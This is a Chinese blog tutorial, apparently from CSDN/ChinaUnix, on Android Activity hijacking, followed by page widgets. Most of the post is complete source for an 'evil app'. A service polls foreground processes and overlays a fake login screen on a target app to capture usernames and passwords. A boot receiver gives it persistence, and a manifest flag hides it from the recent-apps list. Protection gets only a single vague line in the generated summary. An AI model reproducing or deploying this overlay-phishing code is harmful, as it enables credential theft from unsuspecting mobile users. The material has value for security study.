java方法劫持_Activity劫持实例与防护手段

本文通过实例展示了如何在Android中实现方法劫持,特别是针对Activity的劫持。恶意软件创建了一个伪装成正常应用的FakeMainActivity,并通过HijackService监听并劫持目标应用的Activity。当目标应用(如NormalApp)的Activity进入前台时,恶意软件会启动伪造的Activity,获取用户输入的敏感信息。同时,介绍了开机自启动的AutoStartReceiver,以实现恶意服务的持久化。为了防范此类攻击,开发者需要加强应用的安全性,例如使用安全的启动模式和权限控制。
摘要由CSDN通过智能技术生成

首先,我们在Android Studio中新建一个工程,项目结构如下:

29170659_1427900734o9ya.png

activity_main.xml的内容:

点击(此处)折叠或打开

xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"

android:layout_height="match_parent" >

android:layout_width="match_parent"

android:layout_height="wrap_content"

android:text="Normal Activity"

android:gravity="center_horizontal"

android:padding="10dp"

android:background="#ffffff"/>

android:id="@+id/Layout1"

android:layout_width="wrap_content"

android:layout_height="wrap_content"

android:layout_centerHorizontal="true"

android:layout_marginTop="80dp"

android:orientation="horizontal">

android:text="UserName"

android:layout_width="wrap_content"

android:layout_height="wrap_content"

android:textColor="#000000"

android:textSize="20dp" />

android:id="@+id/UserNameEdit"

android:layout_width="100dp"

android:layout_height="wrap_content" />

android:id="@+id/Layout2"

android:layout_width="wrap_content"

android:layout_height="wrap_content"

android:layout_centerHorizontal="true"

android:layout_marginTop="50dp"

android:orientation="horizontal"

android:layout_below="@id/Layout1">

android:text="Password"

android:layout_width="wrap_content"

android:layout_height="wrap_content"

android:textColor="#000000"

android:textSize="20dp" />

android:id="@+id/PasswordEdit"

android:layout_width="100dp"

android:layout_height="wrap_content" />

android:id="@+id/LoginButton"

android:layout_width="wrap_content"

android:layout_height="wrap_content"

android:layout_below="@id/Layout2"

android:layout_marginTop="5dp"

android:layout_centerHorizontal="true"

android:text="Login"/>

activity_second.xml的内容:只是一个TextView控件,显示"Second Activity"而已,就不贴代码了。

MainActivity.java的内容:

点击(此处)折叠或打开package com.example.hac.normalapp;

import android.app.Activity;

import android.content.Intent;

import android.os.Bundle;

import android.view.View;

import android.widget.Button;

import android.widget.EditText;

//一个简单的界面,模拟用户输入用户名、密码,点击按钮后就跳转到SecondActivity

//只是为了演示正常的Activity而已,无实际功能

public class MainActivity extends Activity {

Button login = null;

EditText userName = null;

EditText password = null;

@Override

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_main);

login = (Button)findViewById(R.id.LoginButton);

userName = (EditText)findViewById(R.id.UserNameEdit);

password = (EditText)findViewById(R.id.PasswordEdit);

login.setOnClickListener(new View.OnClickListener() {

@Override

public void onClick(View view) {

Intent intent = new Intent(MainActivity.this, SecondActivity.class);

//启动SecondActivity

startActivity(intent);

}

});

}

}

SecondActivity.java的内容:无内容,就是一个空的Activity,用于显示activity_second.xml的内容而已,不贴代码啦。

AndroidMainfest.xml的内容:就是普通的内容,不贴代码了。

接下来是我们的恶意软件,再新建一个工程,项目结构如下:

29170659_1427902767x2cL.png

activity_fakemain.xml的内容:我们伪造的Activity布局,模仿上面正常的Activity布局。

点击(此处)折叠或打开

xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"

android:layout_height="match_parent" >

android:layout_width="match_parent"

android:layout_height="wrap_content"

android:text="Normal Activity"

android:gravity="center_horizontal"

android:padding="10dp"

android:background="#ffffff"

android:visibility="invisible"/>

android:id="@+id/Layout1"

android:layout_width="wrap_content"

android:layout_height="wrap_content"

android:layout_centerHorizontal="true"

android:layout_marginTop="80dp"

android:orientation="horizontal">

android:text="UserName"

android:layout_width="wrap_content"

android:layout_height="wrap_content"

android:textColor="#000000"

android:textSize="20dp"

android:visibility="invisible"/>

android:id="@+id/UserNameEdit"

android:layout_width="100dp"

android:layout_height="wrap_content"

android:visibility="invisible"/>

android:id="@+id/Layout2"

android:layout_width="wrap_content"

android:layout_height="wrap_content"

android:layout_centerHorizontal="true"

android:layout_marginTop="50dp"

android:orientation="horizontal"

android:layout_below="@id/Layout1">

android:text="Password"

android:layout_width="wrap_content"

android:layout_height="wrap_content"

android:textColor="#000000"

android:textSize="20dp"

android:visibility="invisible"/>

android:id="@+id/PasswordEdit"

android:layout_width="100dp"

android:layout_height="wrap_content"

android:visibility="invisible"/>

android:id="@+id/LoginButton"

android:layout_width="wrap_content"

android:layout_height="wrap_content"

android:layout_below="@id/Layout2"

android:layout_marginTop="5dp"

android:layout_centerHorizontal="true"

android:text="Login"

android:visibility="invisible"/>

activity_main.xml的内容:

点击(此处)折叠或打开<?xml  version="1.0" encoding="utf-8"?>

android:orientation="vertical" android:layout_width="match_parent"

android:layout_height="match_parent">

android:layout_width="wrap_content"

android:layout_height="wrap_content"

android:text="Start"

android:textSize="50dp"/>

android:id="@+id/StartServiceButton"

android:layout_width="wrap_content"

android:layout_height="wrap_content"

android:text="StartService"

android:padding="20dp"

android:layout_gravity="center_horizontal"/>

activity_main.xml的内容:

点击(此处)折叠或打开<?xml  version="1.0" encoding="utf-8"?>

android:orientation="vertical" android:layout_width="match_parent"

android:layout_height="match_parent">

android:layout_width="wrap_content"

android:layout_height="wrap_content"

android:text="Start"

android:textSize="50dp"/>

android:id="@+id/StartServiceButton"

android:layout_width="wrap_content"

android:layout_height="wrap_content"

android:text="StartService"

android:padding="20dp"

android:layout_gravity="center_horizontal"/>

AutoStartReceiver.java的内容:

点击(此处)折叠或打开package com.example.hac.evilapp;

import android.content.BroadcastReceiver;

import android.content.Context;

import android.content.Intent;

//用于开机自动启动HijackService的Receiver,它能够响应“android.intent.action.BOOT_COMPLETED”

public class AutoStartReceiver extends BroadcastReceiver {

@Override

public void onReceive(Context context, Intent intent) {

if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {

Intent _intent = new Intent(context, HijackService.class);

//启动HijackService

context.startService(_intent);

}

}

}

EvilApplication.java的内容:

点击(此处)折叠或打开package com.example.hac.evilapp;

import android.app.Application;

import java.util.ArrayList;

import java.util.List;

public class EvilApplication extends Application{

//存放已经被劫持的程序

List hijackedList = new ArrayList();

public boolean hasProgressBeHijacked(String processName) {

return hijackedList.contains(processName);

}

public void addHijacked(String processName) {

hijackedList.add(processName);

}

public void clearHijacked() {

hijackedList.clear();

}

}

FakeMainActivity.java的内容:

点击(此处)折叠或打开package com.example.hac.evilapp;

import android.app.Activity;

import android.os.Bundle;

import android.view.View;

import android.widget.Button;

import android.widget.EditText;

import android.widget.Toast;

import java.util.Timer;

import java.util.TimerTask;

public class FakeMainActivity extends Activity {

Button login = null;

EditText userName = null;

EditText password = null;

@Override

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_fakemain);

login = (Button)findViewById(R.id.LoginButton);

userName = (EditText)findViewById(R.id.UserNameEdit);

password = (EditText)findViewById(R.id.PasswordEdit);

//下面这段代码主要是为了使用户更难察觉出我们伪造的Activity

//原理是保证我们伪造的Activity已经覆盖在真实的Activity上后,再将我们的控件显示出来

//我本来是想让我们伪造的Activity直接在原位淡入的,但没有实现,郁闷

//无奈只能用这个本方法,如果大家有更好的办法,请赐教

Timer timer = new Timer();

TimerTask task = new TimerTask() {

@Override

public void run() {

runOnUiThread(new Runnable(){

@Override

public void run() {

userName.setVisibility(View.VISIBLE);

password.setVisibility(View.VISIBLE);

login.setVisibility(View.VISIBLE);

}});

}

};

timer.schedule(task, 1000);

login.setOnClickListener(new View.OnClickListener() {

@Override

public void onClick(View view) {

//这里为了显示效果,将用户输入的内容显示出来,真正的恶意软件则会直接将信息发送给自己

Toast.makeText(getApplicationContext(), userName.getText().toString() + " / " + password.getText().toString(), Toast.LENGTH_LONG).show();

//为了伪造的Activity弹出时不那么明显

userName.setVisibility(View.INVISIBLE);

password.setVisibility(View.INVISIBLE);

login.setVisibility(View.INVISIBLE);

finish();

}

});

}

}

HijackService.java的内容:

点击(此处)折叠或打开package com.example.hac.evilapp;

import android.app.ActivityManager;

import android.app.Service;

import android.content.Context;

import android.content.Intent;

import android.os.Handler;

import android.os.IBinder;

import android.util.Log;

import java.util.HashMap;

import java.util.List;

public class HijackService extends Service {

//targetMap用于存放我们的目标程序

HashMap> targetMap = new HashMap>();

Handler handler = new Handler();

boolean isStart = false;

//我们新建一个Runnable对象,每隔200ms进行一次搜索

Runnable searchTarget = new Runnable() {

@Override

public void run() {

//得到ActivityManager

ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);

//通过ActivityManager将当前正在运行的进程存入processInfo中

List processInfo = activityManager.getRunningAppProcesses();

Log.w("恶意软件", "遍历进程");

//遍历processInfo中的进程信息,看是否有我们的目标

for (ActivityManager.RunningAppProcessInfo _processInfo : processInfo) {

//若processInfo中的进程正在前台且是我们的目标进程,则调用hijack方法进行劫持

if (_processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {

if (targetMap.containsKey(_processInfo.processName)) {

// 调用hijack方法进行劫持

hijack(_processInfo.processName);

} else {

Log.w("进程", _processInfo.processName);

}

}

}

handler.postDelayed(searchTarget, 200);

}

};

//进行Activity劫持的函数

private void hijack(String processName) {

//这里判断我们的目标程序是否已经被劫持过了

if (((EvilApplication) getApplication())

.hasProgressBeHijacked(processName) == false) {

Log.w("恶意软件", "开始劫持"+processName);

Intent intent = new Intent(getBaseContext(),

targetMap.get(processName));

//这里必须将flag设置为Intent.FLAG_ACTIVITY_NEW_TASK,这样才能将我们伪造的Activity至于栈顶

intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

//启动我们伪造的Activity

getApplication().startActivity(intent);

//将目标程序加入到已劫持列表中

((EvilApplication) getApplication()).addHijacked(processName);

Log.w("恶意软件", "已经劫持");

}

}

@Override

public void onStart(Intent intent, int startId) {

super.onStart(intent, startId);

if (!isStart) {

//将我们的目标加入targetMap中

//这里,key为我们的目标进程,value为我们伪造的Activity

targetMap.put("com.example.hac.normalapp",

FakeMainActivity.class);

//启动searchTarget

handler.postDelayed(searchTarget, 1000);

isStart = true;

}

}

@Override

public boolean stopService(Intent name) {

isStart = false;

Log.w("恶意软件", "停止劫持");

//清空劫持列表

((EvilApplication) getApplication()).clearHijacked();

//停止searchTarget

handler.removeCallbacks(searchTarget);

return super.stopService(name);

}

@Override

public IBinder onBind(Intent intent) {

return null;

}

}

StartServiceActivity.java的内容:

点击(此处)折叠或打开package com.example.hac.evilapp;

import android.app.Activity;

import android.content.Intent;

import android.os.Bundle;

import android.view.View;

import android.widget.Button;

//用于手动启动我们的HijackService,真正的恶意软件通常不会有这样的一个Activity

public class StartServiceActivity extends Activity {

Button startButton = null;

@Override

public void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_main);

startButton = (Button)findViewById(R.id.StartServiceButton);

startButton.setOnClickListener(new View.OnClickListener() {

@Override

public void onClick(View view) {

Intent intent2 = new Intent(StartServiceActivity.this, HijackService.class);

startService(intent2);

}

});

}

}

colors.xml的内容:

点击(此处)折叠或打开<?xml  version="1.0" encoding="utf-8"?>

#00000000>

styles.xml的内容:

点击(此处)折叠或打开

@color/translucent_background

true

@android:style/Animation.Translucent

AndroidMainfest.xml的内容:注意HijackService和AutoStartReceiver要在这里注册,且要添加相应的权限。另外,添加andorid:excludeFromRecent="true"这一项能够防止我们的恶意程序在最近访问列表中出现,这将提升其危险程度。

点击(此处)折叠或打开<?xml  version="1.0" encoding="utf-8"?>

package="com.example.hac.evilapp" >

android:name=".EvilApplication"

android:allowBackup="true"

android:icon="@drawable/ic_launcher"

android:label="@string/app_name"

android:theme="@style/AppTheme" >

android:name=".StartServiceActivity"

android:label="@string/app_name"

android:excludeFromRecents="true">

android:name=".AutoStartReceiver"

android:enabled="true"

android:exported="true" >

项目工程下载(ChinaUnix对文件大小有限制,只能传百度网盘了):

http://pan.baidu.com/s/1eQ8JF5w

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值